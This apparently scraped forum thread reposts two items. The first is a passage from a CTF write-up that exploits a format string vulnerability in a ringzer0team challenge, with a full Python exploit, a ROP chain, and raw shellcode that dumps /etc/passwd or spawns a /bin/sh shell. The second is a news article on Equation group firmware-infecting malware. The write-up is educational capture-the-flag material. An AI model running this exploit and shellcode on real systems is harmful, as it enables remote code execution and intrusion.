time, I noticed that trying to read from an address that contains a NULL byte as the first byte, returns 0x7369. I used this in the dumper to identify NULL bytes. From here on out, I adjusted the script to dump out the entire binary. It was a slow process, but I managed to speed it up a bit by not having it write out the full address each time, and dumping as much bytes as possible (I adjusted the grab_value_indirectly). The problem with the dumping process via sprintf is that it stops dumping bytes when it hits a 0x0a, 0x0d or 0x00 byte. I have no way of knowing which one it actually is, so I assumed NULL bytes. This gave me an imperfect dump, which I could not run and readelf could not make heads or tails of the section headers. This meant that I had no way of knowing exactly where each GOT entry was, and which function address each entry held. Reverse engineering the dumped binary provided an alternative. I was looking at the output of xxd and noticed the following: [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]...snip... 00014a0: ffc7 8580 edff ff41 4141 41c7 8584 edff .......AAAA..... 00014b0: 0042 4242 42c7 8588 edff ff43 4343 43c6 .BBBB......CCCC ...snip...[/TD] [/TR] [/TABLE] This looks familiar, doesn’t it? [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]char test[] = "AAAABBBBCCCC";[/TD] [/TR] [/TABLE] I out those bytes, starting at 0x1260, and ran the resulting string through rasm2. This gave me the raw bytes: [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]$ xxd -c 1 dump |grep 1260 -A512 | awk '{print $2}' |tr -d '\n' b800000000e8b6f8ffffc78540edffff48460052c78544edffff656d6f74c78548edffff 65005365c7854cedffff63757265c78550edffff00536865c78554edffff6c6c005bc785 ...snip... [/TD] [/TR] [/TABLE] I ran this output through rasm2 to show the corresponding assembly code. I put in the correct starting address for rasm2. This is the address of the start of the binary (0x400000) plus the offset from which I’ve dumped, 0x1260. A bit of reverse-engineering led me to identify malloc, memset and strlen: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28[/TD] [TD=class: code]$ echo 'b800...' | rasm2 -d -b 64 -o 0x401260 - mov dword [rbp-0x50], 0x0 mov eax, [rbp-0x20] cmp eax, [rbp-0x1c] jnz dword 0x4015d1 // char *response = NULL; mov qword [rbp-0x58], 0x0 // char *cleanBuffer = NULL; mov qword [rbp-0x60], 0x0 // response = (char*)malloc(2048); mov edi, 0x800 call dword 0x400ba0 mov [rbp-0x58], rax // memset(response, 0, 2048); mov rax, [rbp-0x58] mov edx, 0x800 mov esi, 0x0 mov rdi, rax call dword 0x400b40 // cleanBuffer = (char*)malloc(strlen(buf)); lea rax, [rbp-0x11f0] mov rdi, rax call dword 0x400b00 mov rdi, rax call dword 0x400ba0 mov [rbp-0x60], rax lea rax, [rbp-0x11f0][/TD] [/TR] [/TABLE] Now, these calls go to the PLT, which uses an address located in the GOT to do the actual library call. From the disassembly and the raw bytes, I was able to find out to which memory address the calls go. For example, let’s find the address of the GOT entry for strlen. From the disassembly provided above, I know it’s PLT stub is at 0x400b00, so dumping from 0xb00: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]0000b00: ff25 fa0f 0000 6807 0000 00e9 70ff ffff .%....h.....p...[/TD] [/TR] [/TABLE] This disassembles to [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]$ rasm2 -d -b 64 -o 0x400b00 - ff25fa0f0000 jmp qword [rip+0xffa][/TD] [/TR] [/TABLE] So it actually references the QWORD at 0x400b00 + 6 + 0x0ffa, which is 0x401b00. This made no sense to me, and it still doesn’t. I know for a fact that the GOT is actually at 0x60xxxx, so I took a chance and dumped the bytes from that location. This indeed contained a libc address! Assuming my reversing skills are okay, I have a way to read two libc addresses to two known functions! This would allow me to identify which libc version is in use and get me one step closer to my goal of shelling this challenge out. libc Version: Computer Says No To identify the libc version in use, I’d need two libc addresses and the corresponding function names. I could compare the difference of these addresses to those found on the libc binaries I had. I used my own little script for this. Alas, I found no exact match, even though I had downloaded all the libc versions that Debian provided. It did seem, however, that the libc in use on the remote box was very similar to libc 2.13-38. This gave me a handle and soon I was dumping from libc. I did this by first grabbing strlen from the GOT, and then subtracting the offset of strlen. This yielded a wrong libc base, but it was good enough to use a reference in combination with libc-2.13-38. I decided to look for system() the old fashioned way: by dumping all the bytes from the libc_base + system_offset_in_libc-2.13 - 0x1000 to +0x1000. In these bytes, I found system() at -0x90: [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]0000f70: 5348 83ec 1048 85ff 7416 8b05 4ca9 3400 SH...H..t...L.4. 0000f80: 85c0 7526 4883 c410 5be9 82fb ffff 6690 ..u&H...[.....f.[/TD] [/TR] [/TABLE] You see, system() in libc 2.13 looks like this: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14[/TD] [TD=class: code]objdump -d -M intel libc-2.13.so |grep system -A10 000000000003fc70 <__libc_system>: 3fc70: 53 push rbx 3fc71: 48 83 ec 10 sub rsp,0x10 3fc75: 48 85 ff test rdi,rdi 3fc78: 74 16 je 3fc90 <__libc_system+0x20> 3fc7a: 8b 05 6c b9 34 00 mov eax,DWORD PTR [rip+0x34b96c] # 38b5ec <argp_program_version_hook+0x1b4> 3fc80: 85 c0 test eax,eax 3fc82: 75 26 jne 3fcaa <__libc_system+0x3a> 3fc84: 48 83 c4 10 add rsp,0x10 3fc88: 5b pop rbx 3fc89: e9 82 fb ff ff jmp 3f810 <__strtold_l+0x10> 3fc8e: 66 90 xchg ax,ax[/TD] [/TR] [/TABLE] That’s a perfect match! I had the address of system. I turned my attention to overwriting a GOT entry. I settled on overwriting strlen’s GOT entry. After the overwriting was done, the next connection would use my buf as input for system(): [TABLE] [TR] [TD=class: gutter]1 2 3 4 5[/TD] [TD=class: code]cleanBuffer = (char*)malloc(strlen(buf)); // disassembly: lea rax, [rbp-0x11f0] mov rdi, rax call dword 0x400b00 < the GOT entry for strlen will be pointing to system![/TD] [/TR] [/TABLE] The addresses for strlen and system only differed in the last three bytes. Therefore, I had to figure out a way to write three bytes at the same time; if I overwrote one byte each time, then by the time I connected to overwrite the second byte, I’d get a crash. This is because the GOT entry for strlen would be pointing to a rather random memory location! So, writing three bytes at once requires three memory address to be present on the stack, which can be addressed directly. From there, I again used the %<number>%<offset>$hhn primitive to write a byte. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54[/TD] [TD=class: code]def write_on_stack(what, where, offset): # write out all the bytes of what # used to write addresses on the stack for i in range(8): b = (what & 0xff) what >>= 8 if b == 0: b = 256 if (i+where) == 0: i = 256 write_byte_value_via(5, i+where) write_byte_value_via(636, print "[+] wrote {} to {}".format(hex(grab_value_directly(636+offset+where/8)), 636+offset+where/8) parameter_636_addr = grab_value_directly(5) print "parameter 5 points to: ", hex(parameter_636_addr) value_at_636 = grab_value_indirectly(5) print "address pointed to by parameter 5 contains: ", hex(value_at_636) value_at_scratch = grab_value_indirectly(636) print "scratch contains: ", hex(value_at_scratch) format_offset = ((value_at_636 & 0xffffffffffffff00) - parameter_636_addr)/8 print "scratch is parameter {}".format(636+format_offset) # grab strlen from the GOT entry strlen_addr = read_from_address(0x601b00, format_offset) print "[+] strlen is at {}.".format(hex(strlen_addr)) # from libc-2.13-38 -- NOT CORRECT libc_base = strlen_addr - 0x80b70 print "[+] libc_base is at {}.".format(hex(libc_base)) # we need to have three addresses on the stack which we can directly address # to use them in the format string vuln write_on_stack(0x601e20, 0, format_offset) write_on_stack(0x601e21, 8, format_offset) write_on_stack(0x601e22, 16, format_offset) # ok, now try to set three bytes in one go s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) # should write out "BAS" in one go payload = "%66c%{}$hhn%255c%{}$hhn%18c%{}$hhn\n".format(format_offset+636, format_offset+637, format_offset+638) s.recv(128) s.send(payload) data = s.recv(64) s.close() # read it back to check! check = read_from_address(0x601e20, format_offset) print hex(check)[/TD] [/TR] [/TABLE] First, it writes out 0x601e20, 0x601e21 and 0x601e22 on the stack. 0x601e20 is an unused memory address close the GOT entries. Then, the payload to actually write three bytes to those addresses looks like this: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]"%66c%{}$hhn%255c%{}$hhn%18c%{}$hhn\n".format(format_offset+636, format_offset+637, format_offset+638)[/TD] [/TR] [/TABLE] What it does, is print 66 dummy bytes (0x42 == ‘B’) and then writes out the number of bytes written so far (%hhn) to a location that is pointed to by parameter 636. Then, it prints 255 dummy bytes, to make the write counter overflow. Writing out the next byte with %hhn will output 66+255 % 256 = 61, ‘A’). The next byte is written in the same way. This allows three bytes to be written at once, and will allow overwriting the GOT entry of strlen with the address of system! [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12[/TD] [TD=class: code]$ python sploit7.py parameter 5 points to: 0x7fff3ca480d8 address pointed to by parameter 5 contains: 0x7fff3ca49f01 scratch contains: 0x601b scratch is parameter 1601 [+] strlen is at 0x7f82b7326c40. [+] libc_base is at 0x7f82b72a60d0. [+] wrote 0x601e20 to 1601 [+] wrote 0x601e21 to 1602 [+] wrote 0x601e22 to 1603 0x534142[/TD] [/TR] [/TABLE] OK, so that worked! I plugged in the values for system, the GOT entry for strlen and crossed my fingers. I tried to spawn a shell, but alas, no output. The binary had crashed though, and I tried again, this time trying for outbound access to my vps with wget. However, I never saw a HTTP connection and the remote binary seemed to hang. The service did not come back up. Uh-oh. Reaching out I apologized to Mr.Un1k0d3r via Twitter and he seemed interested in my poc. He even offered me to send the binary so I could play with it locally; I jumped at this chance of course, and requested the libc as well. Furthermore, he informed me that the box was heavily firewalled for security reasons (it being part of a CTF and all) and that my shell would not be accessible at all… …Challenge accepted! So it’s back to the drawing board. The system() trick would not work, as the binary was not being ran using socat. It handled all the connections itself. Spawning a shell would not connect stdin, stdout and stderr to the socket that the binary was using, effectively stopping me from interacting with the shell. Instead, I figured I could achieve an interactive shell by first using a call to dup2 to duplicate the socket file descriptor, to couple it to stdin and stdout. This was inspired by this shellcode. First things first, though, I needed a ROP chain to actually read in the shellcode and run it. The stack was not executable (NX took care of that), so I had find a way to call mprotect to mark a section rwx and then read in the shellcode. I started working on the ROP chain before Mr. Un1k0d3r sent over the files. This was pretty hard, as I had to search for the gadgets in libc (the binary did not contain enough gadgets) by dumping it. I first uploaded my own libc to ropshell. Once I had found a gadget, I dumped from -0x100 to +0x100 relative to that address; this allowed me to find the gadgets I needed. Luckily, soon after, I obtained the libc and the binary from Mr.Un1k0d3r, which helped a lot. I ran it in a 64-bit Kali (based on Debian) and started building and debugging my ROP exploit. But hold on a second! Pivot the Stack This wasn’t a buffer overflow where I had full control over the stack! The ROP chain was somewhere in buf and I needed to make rsp point to it. Only then, the ROP chain would kick off properly. I had to find a single gadget that did this in one go. I roughly knew the location of buf relative to rsp (approximately at rsp+0xd8, which I reverse-engineered from the disassembly of the dumped binary). Why buf? buf can contain null bytes, whereas cleanBuffer cannot: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]strncpy(cleanBuffer, buf, strlen(buf) - 1);[/TD] [/TR] [/TABLE] The strncpy takes care of that; any null byte it encounters will make it stop copying. Because we’re on 64-bit, the gadget addresses will for sure contain null bytes. Instead, have a look at where strlen is used: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5[/TD] [TD=class: code]cleanBuffer = (char*)malloc(strlen(buf)); // dissambled: lea rax, [rbp-0x11f0] mov rdi, rax // rax and rdi now point to buf call dword 0x400b00 // strlen[/TD] [/TR] [/TABLE] This meant that I had multiple options to pivot rsp to buf, for instance with a xchg rax, rsp gadget. Upon finding no suitables ones, I had to go with stack lifting. I uploaded the libc which I got from Mr. Un1k0d3r to ropshell.com and starting looking for gadgets. What would I need? [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6[/TD] [TD=class: code]stack lifting syscall pop rax pop rdi pop rsi pop rdx[/TD] [/TR] [/TABLE] See, I needed quite a few gadgets to be able to call mprotect and read. First, the stack lifting: I settled on 0x00082cfe: add rsp, 0x100; ret in libc. I had no idea if I would have the correct amount added to rsp, but I solved that the lazy way by adding the ROP equivalent of a NOP-sled: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]0x041cf9: ret[/TD] [/TR] [/TABLE] This will keeping returning until the ROP chain hits the next correct gadget! I put everything together and tested it locally… but no dice! I debugged it in gdb-peda and the mprotect syscall seemed to work. The shellcode, however, was not being read in properly. The socket file descriptor was the problem. It was not a predictable value, so I could not hardcode it. I found that the socket was stored on the stack, but I could not leak it via the format string vulnerability. It was located at rbp-0x48, so I had to adjust my ROP chain to grab this value and use it in the read syscall. I had to build another ROP chain to get at it… Grabbing the socket descriptor value I started looking for gadgets that allowed me to dereference rbp. I ended up with these ones: [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]0x0002028a : pop r15; ret 0x0006933f : lea rax, [rbp + r15]; pop rbp; pop r12; pop r13; pop r14; pop r15; ret 0x000eb938 : mov rax, [rax]; ret 0x0002c10e : xchg eax, edi; ret[/TD] [/TR] [/TABLE] The process is simple. The first pop r15 will pop -0x48 from the stack. Then, the address rbp+r15 (effectively pointing to rbp-0x48) is loaded into rax. The value at this address is taken into rax in the third gadget. Finally, the value is stored in edi, ready for use in the read syscall. Here, I assume that the socket descriptor is less than 32 bits, which I think is reasonable. The read part of the ROP chain will read in the shellcode that we send and return to it. I started with a modified read /etc/passwd shellcode, the original of which was made by Mr.Un1k0d3r Putting it all together So from a high level, I use the format string vulnerability to write out the addresses of the first three bytes of the GOT entry of strlen to the stack. Then, using those addresses, the first three bytes of strlen’s GOT entry are overwritten. The GOT entry of strlen then points to the stack lifting gadget. Upon connecting again, I send the ROP chain, the stack lifting gadget will be called instead of strlen, setting rsp to buf. The ROP chain kicks off and will grab the socket descriptor value, call mprotect and read in a shellcode. The shellcode will also use the socket descriptor and write the contents of /etc/passwd to the socket. All I have to do now is to sit back Without further ado: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196[/TD] [TD=class: code]import struct, time from socket import * def p(x): return struct.pack('L', x & 0xffffffffffffffff) def grab_value_directly(i): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(i)+'$lx\n') data = s.recv(64) addr = int(data.split()[0], 16) s.close() return addr def grab_value_indirectly(i): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(i)+'$s\n') data = s.recv(64) addr = data.split()[0] # ugly workaround, only grab 8 bytes. will fix this later! if len(addr) > 8: address = addr[0:8] else: address = addr + '\x00' * (8-len(addr)) s.close() return struct.unpack('L', address)[0] def write_byte_value_via(i, value): s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send('%'+str(value)+'c%'+str(i)+'$hhn\n') data = s.recv(64) s.close() def read_from_address(addr, offset): for i in range(4): b = (addr & 0xff) addr >>= 8 if b == 0: b = 256 if i == 0: i = 256 write_byte_value_via(5, i) # change address write_byte_value_via(636, # write byte dump1 = grab_value_indirectly(636+offset) return dump1 # write a value to a string format parameter def write_on_stack(what, where, offset): # write out all the bytes of what for i in range(8): b = (what & 0xff) what >>= 8 if b == 0: b = 256 if (i+where) == 0: i = 256 write_byte_value_via(5, i+where) write_byte_value_via(636, print "[+] wrote {} to {}".format(hex(grab_value_directly(636+offset+where/8)), 636+offset+where/8) parameter_636_addr = grab_value_directly(5) print "parameter 5 points to: ", hex(parameter_636_addr) value_at_636 = grab_value_indirectly(5) print "address pointed to by parameter 5 contains: ", hex(value_at_636) value_at_scratch = grab_value_indirectly(636) print "scratch contains: ", hex(value_at_scratch) format_offset = ((value_at_636 & 0xffffffffffffff00) - parameter_636_addr)/8 print "scratch is parameter {}".format(636+format_offset) # grab strlen from the GOT entry strlen_addr = read_from_address(0x601b00, format_offset) print "[+] strlen is at {}.".format(hex(strlen_addr)) libc_base = strlen_addr - 0x80c40 print "[+] libc_base is at {}.".format(hex(libc_base)) STACK_PIVOT = libc_base + 0x082cfe # add rsp, 0x100; ret print "[+] stack pivot gadget is at {}.".format(hex(STACK_PIVOT)) # we need to have three addresses on the stack which we can directly address # to use them in the format string vuln # strlen write_on_stack(0x601b00, 0, format_offset) write_on_stack(0x601b01, 8, format_offset) write_on_stack(0x601b02, 16, format_offset) # need to write out the last three bytes of the STACK_PIVOT gadget over strlen's bytes writebytes = STACK_PIVOT & 0xffffff payload = '' lastbyte = 0 # build format string to set three bytes at once for i in range(3): if lastbyte <= (writebytes & 0xff): byte_to_write = (writebytes & 0xff) - lastbyte else: byte_to_write = 256 + (writebytes & 0xff) - lastbyte payload += "%{}c".format(byte_to_write) lastbyte = writebytes & 0xff writebytes >>= 8 payload += "%{}$hhn".format(format_offset+636+i) payload += "\n" print "[+] writing {} to strlen's GOT entry".format(hex(STACK_PIVOT & 0xffffff)) print "[+] format string payload: {}".format(payload) # connect and send the format string s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) s.recv(128) s.send(payload) s.recv(64) s.close() # now, strlen's GOT entry will point to the stack lifting gadget # let's prepare the ROP chain # here are the gadgets SYSCALL = libc_base + 0x0ad215 POP_RAX = libc_base + 0x041dc8 POP_RSI = libc_base + 0x021535 POP_RDI = libc_base + 0x02028b POP_RDX = libc_base + 0x0a834b ropchain = '' # mprotect 0x400000 to rwx, so we can write AND execute from it ropchain += p(POP_RAX+1) * 8 # points to ret; effectively, a NOP! ropchain += p(POP_RAX) ropchain += p(10) # syscall mprotect ropchain += p(POP_RDI) ropchain += p(0x400000) # start of buffer to mprotect ropchain += p(POP_RSI) ropchain += p(0x1000) # length of buffer ropchain += p(POP_RDX) ropchain += p(7) # flags; rwx ropchain += p(SYSCALL) # after executing this syscall, 0x400000 should be rwx # we need to fetch the socket from memory ropchain += p(libc_base + 0x2028a) # pop r15; ret ropchain += p(-0x48) # ropchain += p(libc_base + 0x6933f) # lea rax, [rbp + r15]; set rax to address that contains socket descriptor ropchain += p(31337)*5 # junk for all the pop r64's ropchain += p(libc_base + 0xeb938) # mov rax, [rax]; grabs value of socket descriptor ropchain += p(libc_base + 0x2c10e) # xchg eax, edi; edi now contains the socket descriptor # read in the shellcode from the socket (sockfd in rdi already) ropchain += p(POP_RAX) ropchain += p(0) # syscall read ropchain += p(POP_RSI) ropchain += p(0x400000) # start of buffer ropchain += p(POP_RDX) ropchain += p(0x1000) # size of buffer ropchain += p(SYSCALL) # after this syscall, the shellcode should be at 0x400000 ropchain += p(0x400000) # so return to it! # rdi still contains socket fd! s = socket(AF_INET, SOCK_STREAM) s.connect(('pwn01.ringzer0team.com', 13377)) print s.recv(128) # send our ropchain s.send(ropchain) time.sleep(0.1) # modified read /etc/passwd, original by Mr.Un1k0d3r s.send("\x49\x87\xff\xeb\x3e\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x90\x90\x90\x49\x87\xff\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbd\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41") # handle the incoming connection; in this case, grab the contents of /etc/passwd import telnetlib t = telnetlib.Telnet() t.sock = s t.interact()[/TD] [/TR] [/TABLE] And the output! [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42[/TD] [TD=class: code]parameter 5 points to: 0x7fffb6657fc8 address pointed to by parameter 5 contains: 0x7fffb6658f51 scratch contains: 0x72632f656d6f682f scratch is parameter 1123 [+] strlen is at 0x7f7af6e72c40. [+] libc_base is at 0x7f7af6df2000. [+] stack pivot gadget is at 0x7f7af6e74cfe. [+] wrote 0x601b00 to 1123 [+] wrote 0x601b01 to 1124 [+] wrote 0x601b02 to 1125 [+] writing 0xe74cfe to strlen's GOT entry [+] format string payload: %254c%1123$hhn%78c%1124$hhn%155c%1125$hhn HF Remote Secure Shell [1.3.37] Password: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4:/bin/false statd:x:102:65534::/var/lib/nfs:/bin/false sshuser:x:1000:1000:sshuser,,,:/home/sshuser:/bin/bash mysql:x:103:106:MySQL Server,,,:/nonexistent:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin crackme:x:1001:1001::/home/crackme:/bin/sh *** Connection closed by remote host ***[/TD] [/TR] [/TABLE] Cool, we have arbitrary code execution on the remote box! But remember, the goal was to get a shell… Shell’s up The actual shellcode that landed me a shell uses dup2 to duplicate stdin from the socket. This will allow us to communicate with the spawned shell. The assembly is quite straightforward. Not optimized, not pretty: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32[/TD] [TD=class: code]bits 64 push rdi push rdi push 33 ; dup2 pop rax ; set rax to dup2 ; rdi still contains the socket fd xor esi, esi ; stdin syscall pop rdi inc rsi ; stdout syscall pop rdi inc rsi ; stderr syscall jmp _there _here: pop rdi ; points to /bin/sh xor esi, esi ; argv = NULL xor edx, edx ; argp = NULL push 59 ; execve pop rax syscall push 60 ; exit pop rax syscall _there: call _here db "/bin/sh", 0[/TD] [/TR] [/TABLE] After sticking that shellcode in the exploit, I got a shell! [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]s.send("\x57\x57\x6a\x21\x58\x31\xf6\x0f\x05\x5f\x48\xff\xc6\x0f\x05\x5f\x48\xff\xc6\x0f\x05\xeb\x0f\x5f\x31\xf6\x31\xd2\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xec\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00")[/TD] [/TR] [/TABLE] You can see that the dup2 shellcode is not completely effective; I needed to redirect stdout to stdin to get command output so somehow dup2 does not duplicate stdout correctly. But hey, the objective is met! An interactive shell on an otherwise inaccessible server! Wrapping up This was a story of how a single format string vulnerability was beaten into arbitrary code execution. The exploit bypasses ASLR and NX via ROP, and finally sends over shellcode which will be executed. The CTF challenge was not designed with this in mind, but it was a fun exercise (and a potential warmup for Boston Key Party) nonetheless! My thanks go out to Mr.Un1k0d3r for being cool with me trying to break his challenge and even giving me the binary Until the next #maximumoverkill :] Posted by barrebas Feb 22nd, 2015 1:01 pm Sursa: https://barrebas.github.io/blog/2015/02/22/maximum-overkill-two-from-format-string-vulnerability-to-remote-code-execution/
  16. Cyberattackers can reprogram hard drive firmware, according to Kaspersky bulletin By James Sanders February 18, 2015, 9:57 AM PST // jas_np A Kaspersky Lab bulletin indicates a cyberattack group has the capability to infect hard drive firmware. Learn how this capability works, and what it means for your deployed systems. Image: Kaspersky Lab A cyberattack group dubbed Equation group by Russian security firm Kaspersky Lab has a portfolio of intricate and highly sophisticated malware that dates back to at least 2001. The organization is considered by Kaspersky to be "the most advanced threat actor we have seen." The portfolio of Equation group's exploits extensively utilizes a variety of encryption algorithms and hashes, including using SHA-256 1,000 times on an NTFS object ID. Information about the afflicted parties and details regarding the use of code written by Equation group is covered in depth on CNET, as well as information regarding how these disclosures relate to the Stuxnet worm, which was discovered in 2010 and is still a subject of political intrigue. The focus of this article is on the technical inner workings of the Equation group exploit, and the use of drive firmware as an attack vector. What sets Equation apart from other groups? Perhaps the most alarming capability detailed in the report is that the malware produced by Equation can reprogram the firmware of hard drives. According to Kaspersky, the malware's design allows for the creation of hidden sectors on the drive, which are resistant to drive formatting. Naturally, it also provides an API for access to the hidden sectors for use by other Equation components. Of the two identified modules with this capability, the first (from 2010) can reprogram six distinct drive "categories," which constitute individual products or product lines by Maxtor, Seagate, Western Digital, and Samsung. The second version (from 2013) has 12 product classes, which include the previous brands and adds HGST/IBM, Micron, OCZ, OWC, Corsair, and Mushkin. Finnish security firm F-Secure notes that this disclosure describes the capabilities of a utility called IRATEMONK in an internal National Security Agency (NSA) catalog from 2008 that "provides software application persistence...through MBR substitution." This utility can infect the firmware of "a variety of Western Digital, Seagate, Maxtor, and Samsung hard drives," which supports FAT, NTFS, EXT3, and UFS file systems not running as part of a RAID array. What are the implications of using that attack vector? In an interview with Reuters, lead Kaspersky researcher Costin Raiu claims that the vendors must have had access to the source code of the drive firmware. Raiu is quoted by Reuters as saying that, "There is zero chance that someone could rewrite the [hard drive] operating system using public information." In response to this claim, a Western Digital spokesman told Reuters they "[have] not provided its source code to government agencies." Reuters indicates other drive makers declined to say if they have shared their source code. A Seagate spokesman said it has "secure measures to prevent tampering or reverse engineering of its firmware and other technologies." In the report from Reuters -- which names the NSA as the developers of this exploit -- it is possible for the government to request source code in the process of a security audit for government purchases. Importantly, the Kaspersky report notes that this exploit is extremely rare, and that it is "kept for the most valuable victims or for some very unusual circumstances." This does not appear to be a scenario in which Equation-produced code is accompanying drives shipped from the factory. How hard is it to reverse-engineer drive firmware? Surprisingly, the answer to that question is not very, but it is not trivial either. A hard drive is, in essence, functionally identical to any other integrated system. Typically speaking, the circuit board on a hard drive contains DRAM for the drive cache, a spindle motor controller, the drive controller -- a multi-core ARM processor for modern drives. Some drives, like the drive used in this experiment at SpritesMods, have an additional serial flash to store the firmware, though others may keep this storage internal to the controller. These drive controllers are either off-the-shelf parts, or made by the drive vendors. In the experiment at SpritesMods, the Western Digital firmware does not contain any obfuscation tricks. That experiment starts with getting access by connecting to an ARM core on the controller accessible via JTAG, which allows for easier debugging with breakpoints and memory editing. In that experiment, making a persistent change to the drive firmware was possible -- the memory layout of the chip was already documented, and free space existed in which to inject arbitrary instructions, which can be executed before the rest of the drive firmware by changing the execution order in the header. Notably, some of the instruction blocks in the firmware code are stored in an unknown compression format and unpacked into RAM at start -- making this edit does not require the ability to modify that code in the compressed state. When it is unpacked for execution at boot, the arbitrary code can insert hooks into the executed code. In the SpritesMods experiment, a small program was written utilizing code from the idle3-tools package, which allows for the firmware to be flashed to the drive. What does this mean for deployed systems? Considering the rarity with which this exploit appears to be used, it probably is not an issue worth worrying about at this time. Windows users are a more obvious target through sheer ubiquity, though Mac OS X and Linux users should know there is no security through obscurity. The Kaspersky report indicates there are some signs that Equation can target non-Windows systems, and IRATEMONK is documented as supporting EXT3 and UFS. The opaque nature of hard drive firmware, and the extensive amount of vendor-specific commands, often with poor to no documentation (a somewhat shocking state of affairs for such ubiquitous hardware as mass storage devices) is reason to give pause. Ariel Berkman of the Israeli firm Recover has written a proof-of-concept on hiding data in reserved service space that only requires knowledge of vendor-specific commands, which has the potential to be easier than firmware modification. Also read Beyond Stuxnet and Flame: Equation 'most advanced' cybercriminal gang recorded (ZDNet) NSA planted surveillance software on hard drives, report says (CNET) Free ebook: Executive's guide to the next wave of security challenges Security and Privacy: New Challenges (ZDNet/TechRepublic special feature) Disclaimer: TechRepublic, CNET, and ZDNet are CBS Interactive properties. Sursa: http://www.techrepublic.com/article/cyberattackers-can-reprogram-hard-drive-firmware-according-to-kaspersky-bulletin/
